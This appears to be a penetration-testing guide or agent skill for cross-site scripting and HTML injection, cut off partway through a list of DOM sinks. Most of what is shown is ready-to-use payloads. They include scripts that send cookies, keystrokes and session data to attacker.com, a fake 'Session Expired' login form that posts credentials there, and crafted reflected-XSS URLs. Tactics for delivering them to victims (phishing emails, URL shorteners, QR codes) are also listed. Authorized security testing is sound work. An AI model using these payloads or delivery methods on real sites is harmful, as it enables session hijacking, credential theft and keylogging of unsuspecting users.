Xss HTML Injection

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

• Target web application URL with user input fields
• Burp Suite or browser developer tools for request analysis
• Access to create test accounts for stored XSS testing
• Browser with JavaScript console enabled

Technical Requirements

• Understanding of JavaScript execution in browser context
• Knowledge of HTML DOM structure and manipulation
• Familiarity with HTTP request/response headers
• Understanding of cookie attributes and session management

Legal Prerequisites

• Written authorization for security testing
• Defined scope including target domains and features
• Agreement on handling of any captured session data
• Incident response procedures established

Outputs / Deliverables

• XSS/HTMLi vulnerability report with severity classifications
• Proof-of-concept payloads demonstrating impact
• Session hijacking demonstrations (controlled environment)
• Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x

<!-- SVG-based test -->
<svg

<!-- Body event test -->
<body

Monitor for:

• Raw HTML reflection without encoding
• Partial encoding (some characters escaped)
• JavaScript execution in browser console
• DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

• Input persists after page refresh
• Other users see injected content
• Content stored in database/filesystem

Reflected XSS Indicators:

• Input appears only in current response
• Requires victim to click crafted URL
• No persistence across sessions

DOM-Based XSS Indicators:

• Input processed by client-side JavaScript
• Server response doesn't contain payload
• Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.inser